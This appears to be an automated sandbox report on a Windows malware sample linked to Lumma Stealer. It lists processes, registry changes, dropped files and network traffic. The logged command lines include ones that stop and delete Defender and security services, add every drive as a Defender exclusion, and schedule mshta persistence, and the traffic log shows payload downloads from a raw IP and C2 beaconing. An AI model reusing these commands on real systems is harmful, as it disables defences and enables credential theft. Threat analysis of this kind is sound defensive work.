specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs #CREDENTIALFLUSHER 085ed3a5b2.exe no specs schtasks.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs unlocker.exe no specs cmd.exe no specs conhost.exe no specs sc.exe no specs cmd.exe no specs conhost.exe no specs taskkill.exe no specs taskkill.exe no specs conhost.exe no specs sc.exe no specs sc.exe no specs chrome.exe no specs powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs taskkill.exe no specs conhost.exe no specs csc.exe e72ecd715b.exe no specs csc.exe taskkill.exe no specs conhost.exe no specs cmd.exe no specs mshta.exe no specs cvtres.exe no specs cvtres.exe no specs conhost.exe no specs schtasks.exe no specs powershell.exe conhost.exe no specs taskkill.exe no specs conhost.exe no specs chrome.exe powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs taskkill.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs #CREDENTIALFLUSHER firefox.exe no specs firefox.exe firefox.exe no specs firefox.exe no specs mshta.exe no specs firefox.exe no specs powershell.exe conhost.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs csc.exe cvtres.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs tempbkrcyutoermaxs1kb10urkt6ilipfuza.exe no specs em8l5vxba9n1k6h1d3nrtu5.exe no specs firefox.exe no specs tempbkrcyutoermaxs1kb10urkt6ilipfuza.exe no specs chrome.exe no specs chrome.exe no specs powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs csc.exe cvtres.exe no specs csc.exe cvtres.exe no specs chrome.exe no specs ramez.exe no specs chrome.exe powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs csc.exe cvtres.exe no specs chrome.exe no specs chrome.exe powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs csc.exe cvtres.exe no specs chrome.exe no specs chrome.exe no specs powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs csc.exe cvtres.exe no specs csc.exe cvtres.exe no specs chrome.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
540"C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe
MSBuild.exe
User:
admin
Company:
Google LLC
Integrity Level:
MEDIUM
Description:
Google Chrome
Version:
122.0.6261.70
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
644find /i "0x0" C:\Windows\System32\find.exe—cmd.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Find String (grep) Utility
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\find.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ulib.dll
c:\windows\system32\fsutilext.dll
664sc stop "MsSecWfp" C:\Windows\System32\sc.exe—cmd.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Service Control Manager Configuration Tool
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
672C:\WINDOWS\system32\cmd.exe /c schtasks /create /tn e1jvKmaE02L /tr "mshta C:\Users\admin\AppData\Local\Temp\I2UJMcrZr.hta" /sc minute /mo 25 /ru "admin" /fC:\Windows\SysWOW64\cmd.exe—e72ecd715b.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
720sc delete "SgrmAgent" C:\Windows\System32\sc.exe—cmd.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Service Control Manager Configuration Tool
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
728NSudoLG -U:E -ShowWindowMode:Hide -Wait PowerShell "[System.IO.DriveInfo]::GetDrives() | ForEach-Object { Add-MpPreference -ExclusionPath $_.Name }; Start-Sleep -Milliseconds 1000" C:\Users\admin\AppData\Local\Temp\Work\NSudoLG.exe—cmd.exe
User:
SYSTEM
Company:
M2-Team
Integrity Level:
SYSTEM
Description:
NSudo Launcher
Exit code:
0
Version:
9.0.2676.0
Modules
Images
c:\users\admin\appdata\local\temp\work\nsudolg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
736"C:\WINDOWS\system32\cmd.exe" /c "C:\Users\admin\AppData\Local\Temp\qyzSYLJ.bat" any_wordC:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
736Unlocker /dеlwdC:\Users\admin\AppData\Local\Temp\Work\Unlocker.exe
cmd.exe
User:
SYSTEM
Integrity Level:
SYSTEM
Description:
Unlocker by Eject
Version:
1.1.0.0
Modules
Images
c:\users\admin\appdata\local\temp\work\unlocker.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
856sc config "WdNisSvc" start= disabled C:\Windows\System32\sc.exe—cmd.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Service Control Manager Configuration Tool
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
904\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
133 233
Read events
132 987
Write events
110
Delete events
136

Modification events

(PID) Process:(5216) ramez.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(5216) ramez.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(5216) ramez.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(5384) nircmd.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\WINDOWS\System32\cmd.exe.FriendlyAppName
Value:
Windows Command Processor
(PID) Process:(5384) nircmd.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\WINDOWS\System32\cmd.exe.ApplicationCompany
Value:
Microsoft Corporation
(PID) Process:(7444) reg.exeKey:HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize
Operation:writeName:AppsUseLightTheme
Value:
0
(PID) Process:(4776) reg.exeKey:HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize
Operation:writeName:AppsUseLightTheme
Value:
0
(PID) Process:(7912) Unlocker.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\DK
Operation:writeName:CurrentDiskSize
Value:
228874833920
(PID) Process:(6300) 1777286cff.tmpKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyApp_is1
Operation:writeName:Inno Setup: Setup Version
Value:
6.4.0
(PID) Process:(6300) 1777286cff.tmpKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyApp_is1
Operation:writeName:Inno Setup: App Path
Value:
C:\Users\admin\AppData\Roaming\MyApp
Executable files
59
Suspicious files
266
Text files
263
Unknown types
3

Dropped files

PID
Process
Filename
Type
7328random.exeC:\Users\admin\AppData\Local\Temp\FFGPLYTATCEMBNES278OECJB.exeexecutable
MD5:9C3BC632F3832968E9813C734DBCF69A
SHA256:994100D063A0E81FADDE1FFF736CACD89BAB129670F1DB961C7FED90DAE5377F
5216ramez.exeC:\Users\admin\AppData\Local\Temp\10130190101\BhEXzVm.exeexecutable
MD5:6FD840902E72F5F19F4F4CCFF1781DD6
SHA256:E3E5B7A32D43370DC2616EA5EA12D9D773E95BE3F6C26D34FFB9BFA6E0D50D6E
5216ramez.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\BhEXzVm[1].exeexecutable
MD5:6FD840902E72F5F19F4F4CCFF1781DD6
SHA256:E3E5B7A32D43370DC2616EA5EA12D9D773E95BE3F6C26D34FFB9BFA6E0D50D6E
7972FFGPLYTATCEMBNES278OECJB.exeC:\Windows\Tasks\ramez.jobbinary
MD5:5B922DF0FF41F1B495A8C3B1ECF6E5A8
SHA256:8AE54E1260C3182AFC1CB0767C85508AD0ACEAAD22EAD15B20992AB240DA6080
7972FFGPLYTATCEMBNES278OECJB.exeC:\Users\admin\AppData\Local\Temp\d610cf342e\ramez.exeexecutable
MD5:9C3BC632F3832968E9813C734DBCF69A
SHA256:994100D063A0E81FADDE1FFF736CACD89BAB129670F1DB961C7FED90DAE5377F
5216ramez.exeC:\Users\admin\AppData\Local\Temp\10130280101\dbde144ea3.exeexecutable
MD5:CB90C513FBE1E103E92467FD54CB79E7
SHA256:71D4784D7478F17655350EDCFDD20BFA2ED06B1F389512A48A320F65C5811B20
5216ramez.exeC:\Users\admin\AppData\Local\Temp\10130270101\vQpOH7o.exeexecutable
MD5:4B9D57B4506ED4C331CE7837DA19FB3F
SHA256:260D329675466F49EA46D96831920929D78F23881137ECAD447116E88D4F0271
5216ramez.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\KCV3KQBA\vQpOH7o[1].exeexecutable
MD5:4B9D57B4506ED4C331CE7837DA19FB3F
SHA256:260D329675466F49EA46D96831920929D78F23881137ECAD447116E88D4F0271
7832dbde144ea3.exeC:\Users\admin\AppData\Local\Temp\Work\7z.exeexecutable
MD5:426CCB645E50A3143811CFA0E42E2BA6
SHA256:CF878BFBD9ED93DC551AC038AFF8A8BBA4C935DDF8D48E62122BDDFDB3E08567
5216ramez.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\E4DJRUXW\random[1].exeexecutable
MD5:CB90C513FBE1E103E92467FD54CB79E7
SHA256:71D4784D7478F17655350EDCFDD20BFA2ED06B1F389512A48A320F65C5811B20
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
82
TCP/UDP connections
218
DNS requests
225
Threats
94

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
23.216.77.5:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
7328
random.exe
GET
200
185.156.72.2:80
http://185.156.72.2/mine/random.exe
unknown
—
—
unknown
6544
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
5216
ramez.exe
POST
200
185.156.72.96:80
http://185.156.72.96/te4h2nus/index.php
unknown
—
—
malicious
5216
ramez.exe
POST
200
185.156.72.96:80
http://185.156.72.96/te4h2nus/index.php
unknown
—
—
malicious
5216
ramez.exe
GET
200
185.156.72.2:80
http://185.156.72.2/files/7150065629/BhEXzVm.exe
unknown
—
—
unknown
5216
ramez.exe
POST
200
185.156.72.96:80
http://185.156.72.96/te4h2nus/index.php
unknown
—
—
malicious
4400
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
4400
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2104
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
23.216.77.5:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
—
—
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
7328
random.exe
104.21.64.1:443
cornerdurv.top
CLOUDFLARENET
—
unknown
7328
random.exe
172.67.222.194:443
narrathfpt.top
CLOUDFLARENET
US
unknown
7328
random.exe
172.67.214.17:443
jackthyfuc.run
CLOUDFLARENET
US
unknown
7328
random.exe
172.67.215.238:443
onehunqpom.life
CLOUDFLARENET
US
unknown

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 20.73.194.208
  • 40.127.240.158
  • 51.104.136.2
whitelisted
crl.microsoft.com
  • 23.216.77.5
  • 23.216.77.21
  • 23.216.77.27
  • 23.216.77.36
  • 23.216.77.11
  • 23.216.77.25
  • 23.216.77.28
  • 23.216.77.38
  • 23.216.77.8
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted
google.com
  • 142.250.186.78
whitelisted
cornerdurv.top
  • 104.21.64.1
  • 104.21.80.1
  • 104.21.32.1
  • 104.21.48.1
  • 104.21.96.1
  • 104.21.16.1
  • 104.21.112.1
unknown
narrathfpt.top
  • 172.67.222.194
  • 104.21.83.105
unknown
jackthyfuc.run
  • 172.67.214.17
  • 104.21.77.252
unknown
onehunqpom.life
  • 172.67.215.238
  • 104.21.16.209
unknown
laminaflbx.shop
  • 188.114.97.3
  • 188.114.96.3
unknown
overcovtcg.top
  • 104.21.40.104
  • 172.67.150.184
malicious

Threats

PID
Process
Class
Message
2196
svchost.exe
Potentially Bad Traffic
ET DNS Query to a *.top domain - Likely Hostile
7328
random.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (cornerdurv .top) in TLS SNI
2196
svchost.exe
Domain Observed Used for C2 Detected
ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cornerdurv .top)
7328
random.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (overcovtcg .top) in TLS SNI
2196
svchost.exe
Domain Observed Used for C2 Detected
ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (laminaflbx .shop)
7328
random.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (laminaflbx .shop) in TLS SNI
2196
svchost.exe
Domain Observed Used for C2 Detected
ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (overcovtcg .top)
7328
random.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (overcovtcg .top) in TLS SNI
7328
random.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (overcovtcg .top) in TLS SNI
7328
random.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (overcovtcg .top) in TLS SNI
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
random.exe